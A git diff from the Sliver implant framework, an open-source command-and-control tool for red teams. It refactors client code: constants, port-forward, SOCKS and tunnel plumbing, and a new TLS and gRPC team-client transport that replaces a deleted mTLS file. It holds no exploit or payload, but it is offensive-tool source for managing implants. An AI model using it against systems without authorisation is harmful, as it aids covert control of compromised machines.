Commit: version.GitCommit, + Dirty: dirty, + CompiledAt: compiled.Unix(), + OS: runtime.GOOS, + Arch: runtime.GOARCH, + }, nil +} + +// VersionServer returns the version information of the server to which +// the client is connected, or nil and an error if it could not retrieve it. +func (con *SliverClient) VersionServer() (version team.Version, err error) { + if con.Rpc == nil { + return version, errors.New("No Sliver client RPC") + } + + ver, err := con.Rpc.GetVersion(context.Background(), &commonpb.Empty{}) + if err != nil { + return version, errors.New(status.Convert(err).Message()) + } + + return team.Version{ + Major: ver.Major, + Minor: ver.Minor, + Patch: ver.Patch, + Commit: ver.Commit, + Dirty: ver.Dirty, + CompiledAt: ver.CompiledAt, + OS: ver.OS, + Arch: ver.Arch, + }, nil +} + +// connect requires a working gRPC connection to the sliver server. +// It starts monitoring events, implant tunnels and client logs streams. +func (con *SliverClient) connect(conn *grpc.ClientConn) { + con.Rpc = rpcpb.NewSliverRPCClient(conn) + + // Events + go con.startEventLoop() + go core.TunnelLoop(con.Rpc) + + // History sources + sliver := con.App.Menu(consts.ImplantMenu) + + histuser, err := con.newImplantHistory(true) + if err == nil { + sliver.AddHistorySource("implant history (user)", histuser) + } + + histAll, err := con.newImplantHistory(false) + if err == nil { + sliver.AddHistorySource("implant history (all users)", histAll) + } + + con.ActiveTarget.hist = histAll + + con.closeLogs = append(con.closeLogs, func() { + histuser.Close() + histAll.Close() + }) +} diff --git a/client/constants/constants.go b/client/constants/constants.go index 9ce45ed49f..594e4f7542 100644 --- a/client/constants/constants.go +++ b/client/constants/constants.go @@ -18,105 +18,108 @@ package constants along with this program. If not, see . */ -// Meta +// Meta. const ( - // KeepAliveStr - Keep alive constant + // KeepAliveStr - Keep alive constant. KeepAliveStr = "keepalive" ) const ( - // LastUpdateCheckFileName - Last update check file name + // LastUpdateCheckFileName - Last update check file name. LastUpdateCheckFileName = "last_update_check" ) -// Console +// Console. const ( ImplantMenu = "implant" ServerMenu = "" ) -// Events +// Events. const ( - // UpdateStr - "update" + // UpdateStr - "update". UpdateStr = "update" - // VersionStr - "version" + // VersionStr - "version". VersionStr = "version" - // EventStr - "event" + // EventStr - "event". EventStr = "event" - // ServersStr - "server-error" + // ServersStr - "server-error". ServerErrorStr = "server-error" - // ConnectedEvent - Sliver Connected + // ConnectedEvent - Sliver Connected. SessionOpenedEvent = "session-connected" - // DisconnectedEvent - Sliver disconnected + // DisconnectedEvent - Sliver disconnected. SessionClosedEvent = "session-disconnected" - // UpdateEvent - Sliver updated + // UpdateEvent - Sliver updated. SessionUpdateEvent = "session-updated" - // JoinedEvent - Player joined the game + // JoinedEvent - Player joined the game. JoinedEvent = "client-joined" - // LeftEvent - Player left the game + // LeftEvent - Player left the game. LeftEvent = "client-left" - // CanaryEvent - A DNS canary was triggered + // CanaryEvent - A DNS canary was triggered. CanaryEvent = "canary" - // WatchtowerEvent - An implant hash has been identified on a threat intel platform + // WatchtowerEvent - An implant hash has been identified on a threat intel platform. WatchtowerEvent = "watchtower" - // StartedEvent - Job was started + // StartedEvent - Job was started. JobStartedEvent = "job-started" - // StoppedEvent - Job was stopped + // StoppedEvent - Job was stopped. JobStoppedEvent = "job-stopped" - // BuildEvent - Fires on change to builds + // BuildEvent - Fires on change to builds. BuildEvent = "build" - // BuildCompletedEvent - Fires when a build completes + // BuildCompletedEvent - Fires when a build completes. BuildCompletedEvent = "build-completed" - // ProfileEvent - Fires whenever there's a change to profiles + // ProfileEvent - Fires whenever there's a change to profiles. ProfileEvent = "profile" - // WebsiteEvent - Fires whenever there's a change to websites + // WebsiteEvent - Fires whenever there's a change to websites. WebsiteEvent = "website" - // LootAdded + // LootAdded. LootAddedEvent = "loot-added" - // LootRemoved + // LootRemoved. LootRemovedEvent = "loot-removed" - // BeaconRegisteredEvent - First connection from a new beacon + // BeaconRegisteredEvent - First connection from a new beacon. BeaconRegisteredEvent = "beacon-registered" - // BeaconTaskResult - Beacon task completed with a result + // BeaconTaskResult - Beacon task completed with a result. BeaconTaskResultEvent = "beacon-taskresult" - // ExternalBuildEvent + // BeaconTaskCanceledEvent - Indicates that a beacon task has been canceled. + BeaconTaskCanceledEvent = "beacon-task-canceled" + + // ExternalBuildEvent. ExternalBuildEvent = "external-build" AcknowledgeBuildEvent = "external-acknowledge" ExternalBuildFailedEvent = "external-build-failed" ExternalBuildCompletedEvent = "external-build-completed" - // TrafficEncoder Events + // TrafficEncoder Events. TrafficEncoderTestProgressEvent = "traffic-encoder-test-progress" - // Crackstation Events + // Crackstation Events. CrackstationConnected = "crackstation-connected" CrackstationDisconnected = "crackstation-disconnected" - // Crack Events - Events consumed by crackstations + // Crack Events - Events consumed by crackstations. CrackBenchmark = "crack-benchmark" CrackStatusEvent = "crack-status" - // WireGuardNewPeer - New Wireguard peer added + // WireGuardNewPeer - New Wireguard peer added. WireGuardNewPeer = "wireguard-newpeer" ) -// Commands +// Commands. const ( OperatorsStr = "operators" NewOperatorStr = "new-operator" @@ -132,6 +135,7 @@ const ( PruneStr = "prune" TasksStr = "tasks" CancelStr = "cancel" + WaitStr = "wait" GenerateStr = "generate" RegenerateStr = "regenerate" CompilerInfoStr = "info" @@ -146,9 +150,9 @@ const ( C2ProfileStr = "c2profiles" ImportC2ProfileStr = "import" - // Generic + // Generic. - // NewStr - "new" + // NewStr - "new". NewStr = "new" AddStr = "add" StartStr = "start" @@ -303,16 +307,19 @@ const ( DefaultC2Profile = "default" ) -// Groups +// Groups. const ( - // Server commands ===================== + // "Server-binary-only" group. + TeamserverHelpGroup = "Teamserver" + + // Server commands =====================. GenericHelpGroup = "Generic" NetworkHelpGroup = "Network" PayloadsHelpGroup = "Payload" DataHelpGroup = "Data" SliverHelpGroup = "Sliver" - // Sliver commands ===================== + // Sliver commands =====================. SliverCoreHelpGroup = "Core" InfoHelpGroup = "Info" FilesystemHelpGroup = "Filesystem" @@ -323,16 +330,23 @@ const ( AliasHelpGroup = "Sliver - 3rd Party macros" ExtensionHelpGroup = "Sliver - 3rd Party extensions" - // Useless - SliverWinHelpGroup = "Sliver - Windows" - MultiplayerHelpGroup = "Multiplayer" + // Useless. + SliverWinHelpGroup = "Sliver - Windows" ) // Command types / filters (per OS/type/C2/etc) -// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below, +// Should not be changed: extension.json artifact file (architecture/OS) rely on some of the values below,. +const ( + SessionCmdsFilter = "Sessions" + BeaconCmdsFilter = "Beacons" + WindowsCmdsFilter = "Windows" + WireguardCmdsFilter = "Wireguard" + ConsoleCmdsFilter = "Console" +) + +// Creds (needed here to avoid recursive imports). const ( - SessionCmdsFilter = "session" - BeaconCmdsFilter = "beacon" - WindowsCmdsFilter = "windows" - WireguardCmdsFilter = "wireguard" + UserColonHashNewlineFormat = "user:hash" // username:hash\n + HashNewlineFormat = "hash" // hash\n + CSVFormat = "csv" // username,hash\n ) diff --git a/client/core/curses.go b/client/core/curses.go index 9df00d1a8c..7cc2659112 100644 --- a/client/core/curses.go +++ b/client/core/curses.go @@ -24,10 +24,8 @@ import ( "sync" ) -var ( - // SessionID -> CursedProcess - CursedProcesses = &sync.Map{} -) +// SessionID -> CursedProcess. +var CursedProcesses = &sync.Map{} type CursedProcess struct { SessionID string diff --git a/client/core/portfwd.go b/client/core/portfwd.go index 92e2141ce6..3b229b4ebb 100644 --- a/client/core/portfwd.go +++ b/client/core/portfwd.go @@ -36,7 +36,7 @@ import ( ) var ( - // Portfwds - Struct instance that holds all the portfwds + // Portfwds - Struct instance that holds all the portfwds. Portfwds = portfwds{ forwards: map[int]*Portfwd{}, mutex: &sync.RWMutex{}, @@ -45,7 +45,7 @@ var ( portfwdID = 0 ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type PortfwdMeta struct { ID int SessionID string @@ -53,14 +53,14 @@ type PortfwdMeta struct { RemoteAddr string } -// Portfwd - Tracks portfwd<->tcpproxy +// Portfwd - Tracks portfwd<->tcpproxy. type Portfwd struct { ID int TCPProxy *tcpproxy.Proxy ChannelProxy *ChannelProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *Portfwd) GetMetadata() *PortfwdMeta { return &PortfwdMeta{ ID: p.ID, @@ -75,7 +75,7 @@ type portfwds struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Portfwd { f.mutex.Lock() defer f.mutex.Unlock() @@ -88,7 +88,7 @@ func (f *portfwds) Add(tcpProxy *tcpproxy.Proxy, channelProxy *ChannelProxy) *Po return portfwd } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *portfwds) Remove(portfwdID int) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -100,7 +100,7 @@ func (f *portfwds) Remove(portfwdID int) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *portfwds) List() []*PortfwdMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -114,7 +114,7 @@ func (f *portfwds) List() []*PortfwdMeta { // ChannelProxy binds the Sliver Tunnel to a net.Conn object // one ChannelProxy per port bind. // -// Implements the Target interface from tcpproxy pkg +// Implements the Target interface from tcpproxy pkg. type ChannelProxy struct { Rpc rpcpb.SliverRPCClient Session *clientpb.Session @@ -125,7 +125,7 @@ type ChannelProxy struct { DialTimeout time.Duration } -// HandleConn - Handle a TCP connection +// HandleConn - Handle a TCP connection. func (p *ChannelProxy) HandleConn(conn net.Conn) { log.Printf("[tcpproxy] Handling new connection") ctx := context.Background() @@ -158,7 +158,7 @@ func (p *ChannelProxy) HandleConn(conn net.Conn) { } } -// HostPort - Returns the host and port of the TCP proxy +// HostPort - Returns the host and port of the TCP proxy. func (p *ChannelProxy) HostPort() (string, uint32) { defaultPort := uint32(8080) host, rawPort, err := net.SplitHostPort(p.RemoteAddr) @@ -179,20 +179,19 @@ func (p *ChannelProxy) HostPort() (string, uint32) { return host, port } -// Port - Returns the TCP port of the proxy +// Port - Returns the TCP port of the proxy. func (p *ChannelProxy) Port() uint32 { _, port := p.HostPort() return port } -// Host - Returns the host (i.e., interface) of the TCP proxy +// Host - Returns the host (i.e., interface) of the TCP proxy. func (p *ChannelProxy) Host() string { host, _ := p.HostPort() return host } func (p *ChannelProxy) dialImplant(ctx context.Context) (*TunnelIO, error) { - log.Printf("[tcpproxy] Dialing implant to create tunnel ...") // Create an RPC tunnel, then start it before binding the shell to the newly created tunnel diff --git a/client/core/reactions.go b/client/core/reactions.go index fb3eb7ef49..53075a349b 100644 --- a/client/core/reactions.go +++ b/client/core/reactions.go @@ -25,13 +25,13 @@ import ( ) var ( - // Reactions - Manages/tracks reactions + // Reactions - Manages/tracks reactions. Reactions = &reactions{ reactionMap: map[string][]Reaction{}, mutex: &sync.RWMutex{}, } - // ReactableEvents - A list of reactionable events + // ReactableEvents - A list of reactionable events. ReactableEvents = []string{ consts.SessionOpenedEvent, consts.SessionUpdateEvent, @@ -58,7 +58,7 @@ type reactions struct { reactionID int } -// Add - Add a reaction +// Add - Add a reaction. func (r *reactions) Add(reaction Reaction) Reaction { r.mutex.Lock() defer r.mutex.Unlock() @@ -73,7 +73,7 @@ func (r *reactions) Add(reaction Reaction) Reaction { } // Remove - Remove a reaction, yes we're using linear search but this isn't exactly -// a performance critical piece of code and the map/slice is going to be very small +// a performance critical piece of code and the map/slice is going to be very small. func (r *reactions) Remove(reactionID int) bool { r.mutex.Lock() defer r.mutex.Unlock() @@ -88,7 +88,7 @@ func (r *reactions) Remove(reactionID int) bool { return false } -// On - Get all reactions of a specific type +// On - Get all reactions of a specific type. func (r *reactions) On(eventType string) []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -100,7 +100,7 @@ func (r *reactions) On(eventType string) []Reaction { return []Reaction{} } -// All - Get all reactions (returns a flat list with all event types) +// All - Get all reactions (returns a flat list with all event types). func (r *reactions) All() []Reaction { r.mutex.RLock() defer r.mutex.RUnlock() @@ -111,7 +111,7 @@ func (r *reactions) All() []Reaction { return reactions } -// Reaction - Metadata about a portfwd listener +// Reaction - Metadata about a portfwd listener. type Reaction struct { ID int `json:"-"` EventType string `json:"event_type"` diff --git a/client/core/socks.go b/client/core/socks.go index fe95337664..78e1f42f43 100644 --- a/client/core/socks.go +++ b/client/core/socks.go @@ -34,7 +34,7 @@ import ( ) var ( - // SocksProxies - Struct instance that holds all the portfwds + // SocksProxies - Struct instance that holds all the portfwds. SocksProxies = socksProxy{ tcpProxies: map[uint64]*SocksProxy{}, mutex: &sync.RWMutex{}, @@ -43,7 +43,7 @@ var ( SocksProxyID = (uint64)(0) ) -// PortfwdMeta - Metadata about a portfwd listener +// PortfwdMeta - Metadata about a portfwd listener. type SocksProxyMeta struct { ID uint64 SessionID string @@ -78,13 +78,13 @@ func (tcp *TcpProxy) Stop() error { return err } -// SocksProxy - Tracks portfwd<->tcpproxy +// SocksProxy - Tracks portfwd<->tcpproxy. type SocksProxy struct { ID uint64 ChannelProxy *TcpProxy } -// GetMetadata - Get metadata about the portfwd +// GetMetadata - Get metadata about the portfwd. func (p *SocksProxy) GetMetadata() *SocksProxyMeta { return &SocksProxyMeta{ ID: p.ID, @@ -100,7 +100,7 @@ type socksProxy struct { mutex *sync.RWMutex } -// Add - Add a TCP proxy instance +// Add - Add a TCP proxy instance. func (f *socksProxy) Add(tcpProxy *TcpProxy) *SocksProxy { f.mutex.Lock() defer f.mutex.Unlock() @@ -140,7 +140,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { continue } log.Printf("[socks] agent to Server To (Client to User) Data Sequence %d , Data Size %d \n", FromImplantSequence, len(socksData.Data)) - //fmt.Printf("recv data len %d \n", len(p.Data)) + _, err := conn.Write(socksData.Data) if err != nil { log.Printf("Failed to write data to proxy connection, %s\n", err) @@ -177,7 +177,7 @@ func (f *socksProxy) Start(tcpProxy *TcpProxy) error { return nil } -// Remove - Remove a TCP proxy instance +// Remove - Remove a TCP proxy instance. func (f *socksProxy) Remove(socksId uint64) bool { f.mutex.Lock() defer f.mutex.Unlock() @@ -190,7 +190,7 @@ func (f *socksProxy) Remove(socksId uint64) bool { return false } -// List - List all TCP proxy instances +// List - List all TCP proxy instances. func (f *socksProxy) List() []*SocksProxyMeta { f.mutex.RLock() defer f.mutex.RUnlock() @@ -210,11 +210,10 @@ const leakyBufSize = 4108 // data.len(2) + hmacsha1(10) + data(4096) var leakyBuf = leaky.NewLeakyBuf(2048, leakyBufSize) func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliverpb.SocksData) { - SocksConnPool.Store(frame.TunnelID, conn) defer func() { - // It's neccessary to close and remove connection once we done with it + // It's necessary to close and remove connection once we done with it c, ok := SocksConnPool.LoadAndDelete(frame.TunnelID) if !ok { return @@ -233,7 +232,6 @@ func connect(conn net.Conn, stream rpcpb.SliverRPC_SocksProxyClient, frame *sliv var ToImplantSequence uint64 = 0 for { n, err := conn.Read(buff) - if err != nil { log.Printf("[socks] (User to Client) failed to read data, %s ", err) // Error basically means that the connection is closed(EOF) OR deadline exceeded diff --git a/client/core/tunnel.go b/client/core/tunnel.go index 821d283348..f19bf53245 100644 --- a/client/core/tunnel.go +++ b/client/core/tunnel.go @@ -27,9 +27,11 @@ import ( ) // TunnelLoop - Parses incoming tunnel messages and distributes them -// to session/tunnel objects -// Expected to be called only once during initialization +// +// to session/tunnel objects +// Expected to be called only once during initialization func TunnelLoop(rpc rpcpb.SliverRPCClient) error { + log.SetOutput(io.Discard) log.Println("Starting tunnel data loop ...") defer log.Printf("Warning: TunnelLoop exited") diff --git a/client/core/tunnel_io.go b/client/core/tunnel_io.go index 4970312c06..34eda79c66 100644 --- a/client/core/tunnel_io.go +++ b/client/core/tunnel_io.go @@ -26,7 +26,7 @@ import ( "sync" ) -// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter +// TunnelIO - Duplex data tunnel, compatible with both io.ReadWriter. type TunnelIO struct { ID uint64 SessionID string @@ -38,7 +38,7 @@ type TunnelIO struct { mutex *sync.RWMutex } -// NewTunnelIO - Single entry point for creating instance of new TunnelIO +// NewTunnelIO - Single entry point for creating instance of new TunnelIO. func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { log.Printf("New tunnel!: %d", tunnelID) @@ -52,7 +52,7 @@ func NewTunnelIO(tunnelID uint64, sessionID string) *TunnelIO { } } -// Write - Writer method for interface +// Write - Writer method for interface. func (tun *TunnelIO) Write(data []byte) (int, error) { if !tun.IsOpen() { log.Printf("Warning: Write on closed tunnel %d", tun.ID) @@ -71,7 +71,7 @@ func (tun *TunnelIO) Write(data []byte) (int, error) { return n, nil } -// Read - Reader method for interface +// Read - Reader method for interface. func (tun *TunnelIO) Read(data []byte) (int, error) { recvData, ok := <-tun.Recv if !ok { @@ -87,7 +87,7 @@ func (tun *TunnelIO) Read(data []byte) (int, error) { return n, nil } -// Close - Close tunnel IO operations +// Close - Close tunnel IO operations. func (tun *TunnelIO) Close() error { tun.mutex.Lock() defer tun.mutex.Unlock() diff --git a/client/core/tunnels.go b/client/core/tunnels.go index 571ac5911a..b6efec49bb 100644 --- a/client/core/tunnels.go +++ b/client/core/tunnels.go @@ -28,13 +28,13 @@ import ( ) var ( - // tunnelsStorage - Holds refs to all tunnels + // tunnelsStorage - Holds refs to all tunnels. tunnelsStorage *tunnels tunnelsSingletonLock = &sync.Mutex{} ) -// GetTunnels - singleton function that returns or initializes all tunnels +// GetTunnels - singleton function that returns or initializes all tunnels. func GetTunnels() *tunnels { tunnelsSingletonLock.Lock() defer tunnelsSingletonLock.Unlock() @@ -53,7 +53,7 @@ func GetTunnels() *tunnels { } // Holds the tunnels locally so we can map incoming data -// messages to the tunnel +// messages to the tunnel. type tunnels struct { tunnels *map[uint64]*TunnelIO mutex *sync.RWMutex @@ -70,7 +70,7 @@ func (t *tunnels) SetStream(stream rpcpb.SliverRPC_TunnelDataClient) { t.stream = stream } -// Get - Get a tunnel +// Get - Get a tunnel. func (t *tunnels) Get(tunnelID uint64) *TunnelIO { t.mutex.RLock() defer t.mutex.RUnlock() @@ -81,7 +81,7 @@ func (t *tunnels) Get(tunnelID uint64) *TunnelIO { } // send - safe way to send a message to the stream -// protobuf stream allow only one writer at a time, so just in case there is a mutex for it +// protobuf stream allow only one writer at a time, so just in case there is a mutex for it. func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { t.streamMutex.Lock() defer t.streamMutex.Unlock() @@ -95,7 +95,7 @@ func (t *tunnels) send(tunnelData *sliverpb.TunnelData) error { return t.stream.Send(tunnelData) } -// Start - Add a tunnel to the core mapper +// Start - Add a tunnel to the core mapper. func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { t.mutex.Lock() defer t.mutex.Unlock() @@ -116,7 +116,6 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { SessionID: tunnel.SessionID, Data: data, }) - if err != nil { log.Printf("Error sending, %s", err) } @@ -129,7 +128,7 @@ func (t *tunnels) Start(tunnelID uint64, sessionID string) *TunnelIO { return tunnel } -// Close - Close the tunnel channels +// Close - Close the tunnel channels. func (t *tunnels) Close(tunnelID uint64) { t.mutex.Lock() defer t.mutex.Unlock() @@ -145,7 +144,7 @@ func (t *tunnels) Close(tunnelID uint64) { } } -// CloseForSession - closing all tunnels for specified session id +// CloseForSession - closing all tunnels for specified session id. func (t *tunnels) CloseForSession(sessionID string) { t.mutex.RLock() defer t.mutex.RUnlock() diff --git a/client/transport/client.go b/client/transport/client.go new file mode 100644 index 0000000000..456ef65ad8 --- /dev/null +++ b/client/transport/client.go @@ -0,0 +1,108 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "fmt" + + "github.com/reeflective/team/client" + "google.golang.org/grpc" +) + +// TeamClient is a type implementing the reeflective/team/client.Dialer +// interface, and can thus be used to communicate with any remote or +// in-memory Sliver teamserver. +// When used to connect remotely, this type can safely +// be instantiated with `new(transport.Teamclient)`. +type TeamClient struct { + team *client.Client + options []grpc.DialOption + Conn *grpc.ClientConn +} + +// NewClient creates a teamclient transport with specific gRPC options. +// It can also be used for in-memory clients, which specify their dialer. +func NewClient(opts ...grpc.DialOption) *TeamClient { + tc := new(TeamClient) + tc.options = append(tc.options, opts...) + + return tc +} + +// Init implements team/client.Dialer.Init(c). +// It uses teamclient core driver for a remote server configuration. +// It also includes all pre-existing Sliver-specific log/middleware. +func (h *TeamClient) Init(cli *client.Client) error { + h.team = cli + config := cli.Config() + + // Buffering + h.options = append(h.options, + grpc.WithDefaultCallOptions( + grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize), + ), + ) + + // Logging/audit + options := LogMiddlewareOptions(cli) + h.options = append(h.options, options...) + + // If the configuration has no credentials, we are an + // in-memory dialer, don't authenticate/encrypt the conn. + if config.PrivateKey != "" { + tlsOpts, err := TLSAuthMiddleware(cli) + if err != nil { + return err + } + + h.options = append(h.options, tlsOpts...) + } + + return nil +} + +// Dial implements team/client.Dialer.Dial(). +// It uses the teamclient remote server configuration as a target of a dial call. +// If the connection is successful, the teamclient registers a Sliver RPC client. +func (h *TeamClient) Dial() (err error) { + ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) + defer cancel() + + cfg := h.team.Config() + + host := fmt.Sprintf("%s:%d", cfg.Host, cfg.Port) + + h.Conn, err = grpc.DialContext(ctx, host, h.options...) + if err != nil { + return err + } + + return nil +} + +// Close implements team/client.Dialer.Close(). +// It closes the gRPC client connection if any. +func (h *TeamClient) Close() error { + if h.Conn == nil { + return nil + } + + return h.Conn.Close() +} diff --git a/client/transport/middleware.go b/client/transport/middleware.go new file mode 100644 index 0000000000..135b95b349 --- /dev/null +++ b/client/transport/middleware.go @@ -0,0 +1,162 @@ +package transport + +/* + Sliver Implant Framework + Copyright (C) 2019 Bishop Fox + + This program is free software: you can redistribute it and/or modify + it under the terms of the GNU General Public License as published by + the Free Software Foundation, either version 3 of the License, or + (at your option) any later version. + + This program is distributed in the hope that it will be useful, + but WITHOUT ANY WARRANTY; without even the implied warranty of + MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + GNU General Public License for more details. + + You should have received a copy of the GNU General Public License + along with this program. If not, see . +*/ + +import ( + "context" + "encoding/json" + "errors" + "time" + + grpc_logrus "github.com/grpc-ecosystem/go-grpc-middleware/logging/logrus" + "github.com/reeflective/team/client" + "github.com/sirupsen/logrus" + "google.golang.org/grpc" + "google.golang.org/grpc/codes" + "google.golang.org/grpc/credentials" +) + +const ( + kb = 1024 + mb = kb * 1024 + gb = mb * 1024 + + // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb. + ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte + + defaultTimeout = 10 * time.Second +) + +// ErrNoTLSCredentials is an error raised if the teamclient was asked to setup, or try +// connecting with, TLS credentials. If such an error is raised, make sure your team +// client has correctly fetched -using client.Config()- a remote teamserver config. +var ErrNoTLSCredentials = errors.New("the Teamclient has no TLS credentials to use") + +// TokenAuth extracts authentication metadata from contexts, +// specifically the "Authorization": "Bearer" key:value pair. +type TokenAuth string + +// LogMiddlewareOptions is an example list of gRPC options with logging middleware set up. +// This function uses the core teamclient loggers to log the gRPC stack/requests events. +// The Teamclient of this package uses them by default. +func LogMiddlewareOptions(cli *client.Client) []grpc.DialOption { + logrusEntry := cli.NamedLogger("transport", "grpc") + logrusOpts := []grpc_logrus.Option{ + grpc_logrus.WithLevels(codeToLevel), + } + + grpc_logrus.ReplaceGrpcLogger(logrusEntry) + + // Intercepting client requests. + requestIntercept := func(ctx context.Context, method string, req, reply interface{}, cc *grpc.ClientConn, invoker grpc.UnaryInvoker, opts ...grpc.CallOption) error { + rawRequest, err := json.Marshal(req) + if err != nil { + logrusEntry.Errorf("Failed to serialize: %s", err) + return invoker(ctx, method, req, reply, cc, opts...) + } + + logrusEntry.Debugf("Raw request: %s", string(rawRequest)) + + return invoker(ctx, method, req, reply, cc, opts...) + } + + options := []grpc.DialOption{ + grpc.WithBlock(), + grpc.WithUnaryInterceptor(grpc_logrus.UnaryClientInterceptor(logrusEntry, logrusOpts...)), + grpc.WithUnaryInterceptor(requestIntercept), + } + + return options +} + +// TLSAuthMiddleware returns the TLS credentials and token authentication options +// built from a given team.Client and its active (target) remote server configuration. +func TLSAuthMiddleware(cli *client.Client) ([]grpc.DialOption, error) { + config := cli.Config() + if config.PrivateKey == "" { + return nil, ErrNoTLSCredentials + } + + tlsConfig, err := cli.NewTLSConfigFrom(config.CACertificate, config.Certificate, config.PrivateKey) + if err != nil { + return nil, err + } + + transportCreds := credentials.NewTLS(tlsConfig) + callCreds := credentials.PerRPCCredentials(TokenAuth(config.Token)) + + return []grpc.DialOption{ + grpc.WithTransportCredentials(transportCreds), + grpc.WithPerRPCCredentials(callCreds), + }, nil +} + +// Return value is mapped to request headers. +func (t TokenAuth) GetRequestMetadata(_ context.Context, _ ...string) (map[string]string, error) { + return map[string]string{ + "Authorization": "Bearer " + string(t), + }, nil +} + +// RequireTransportSecurity always return true. +func (TokenAuth) RequireTransportSecurity() bool { + return true +} + +// Maps a grpc response code to a logging level +func codeToLevel(code codes.Code) logrus.Level { + switch code { + case codes.OK: + return logrus.InfoLevel + case codes.Canceled: + return logrus.InfoLevel + case codes.Unknown: + return logrus.ErrorLevel + case codes.InvalidArgument: + return logrus.InfoLevel + case codes.DeadlineExceeded: + return logrus.WarnLevel + case codes.NotFound: + return logrus.InfoLevel + case codes.AlreadyExists: + return logrus.InfoLevel + case codes.PermissionDenied: + return logrus.WarnLevel + case codes.Unauthenticated: + return logrus.InfoLevel + case codes.ResourceExhausted: + return logrus.WarnLevel + case codes.FailedPrecondition: + return logrus.WarnLevel + case codes.Aborted: + return logrus.WarnLevel + case codes.OutOfRange: + return logrus.WarnLevel + case codes.Unimplemented: + return logrus.ErrorLevel + case codes.Internal: + return logrus.ErrorLevel + case codes.Unavailable: + return logrus.WarnLevel + case codes.DataLoss: + return logrus.ErrorLevel + default: + return logrus.ErrorLevel + } +} diff --git a/client/transport/mtls.go b/client/transport/mtls.go deleted file mode 100644 index 880e1319c5..0000000000 --- a/client/transport/mtls.go +++ /dev/null @@ -1,142 +0,0 @@ -package transport - -/* - Sliver Implant Framework - Copyright (C) 2019 Bishop Fox - - This program is free software: you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation, either version 3 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program. If not, see . -*/ - -import ( - "context" - "crypto/tls" - "crypto/x509" - "fmt" - "log" - "os" - "time" - - "google.golang.org/grpc" - "google.golang.org/grpc/credentials" - - "github.com/bishopfox/sliver/client/assets" - "github.com/bishopfox/sliver/protobuf/rpcpb" -) - -const ( - kb = 1024 - mb = kb * 1024 - gb = mb * 1024 - - // ClientMaxReceiveMessageSize - Max gRPC message size ~2Gb - ClientMaxReceiveMessageSize = (2 * gb) - 1 // 2Gb - 1 byte - - defaultTimeout = time.Duration(10 * time.Second) -) - -type TokenAuth struct { - token string -} - -// Return value is mapped to request headers. -func (t TokenAuth) GetRequestMetadata(ctx context.Context, in ...string) (map[string]string, error) { - return map[string]string{ - "Authorization": "Bearer " + t.token, - }, nil -} - -func (TokenAuth) RequireTransportSecurity() bool { - return true -} - -// MTLSConnect - Connect to the sliver server -func MTLSConnect(config *assets.ClientConfig) (rpcpb.SliverRPCClient, *grpc.ClientConn, error) { - tlsConfig, err := getTLSConfig(config.CACertificate, config.Certificate, config.PrivateKey) - if err != nil { - return nil, nil, err - } - transportCreds := credentials.NewTLS(tlsConfig) - callCreds := credentials.PerRPCCredentials(TokenAuth{token: config.Token}) - options := []grpc.DialOption{ - grpc.WithTransportCredentials(transportCreds), - grpc.WithPerRPCCredentials(callCreds), - grpc.WithBlock(), - grpc.WithDefaultCallOptions(grpc.MaxCallRecvMsgSize(ClientMaxReceiveMessageSize)), - } - ctx, cancel := context.WithTimeout(context.Background(), defaultTimeout) - defer cancel() - connection, err := grpc.DialContext(ctx, fmt.Sprintf("%s:%d", config.LHost, config.LPort), options...) - if err != nil { - return nil, nil, err - } - return rpcpb.NewSliverRPCClient(connection), connection, nil -} - -func getTLSConfig(caCertificate string, certificate string, privateKey string) (*tls.Config, error) { - - certPEM, err := tls.X509KeyPair([]byte(certificate), []byte(privateKey)) - if err != nil { - log.Printf("Cannot parse client certificate: %v", err) - return nil, err - } - - // Load CA cert - caCertPool := x509.NewCertPool() - caCertPool.AppendCertsFromPEM([]byte(caCertificate)) - - // Setup config with custom certificate validation routine - tlsConfig := &tls.Config{ - Certificates: []tls.Certificate{certPEM}, - RootCAs: caCertPool, - InsecureSkipVerify: true, // Don't worry I sorta know what I'm doing - VerifyPeerCertificate: func(rawCerts [][]byte, _ [][]*x509.Certificate) error { - return RootOnlyVerifyCertificate(caCertificate, rawCerts) - }, - } - return tlsConfig, nil -} - -// RootOnlyVerifyCertificate - Go doesn't provide a method for only skipping hostname validation so -// we have to disable all of the certificate validation and re-implement everything. -// https://github.com/golang/go/issues/21971 -func 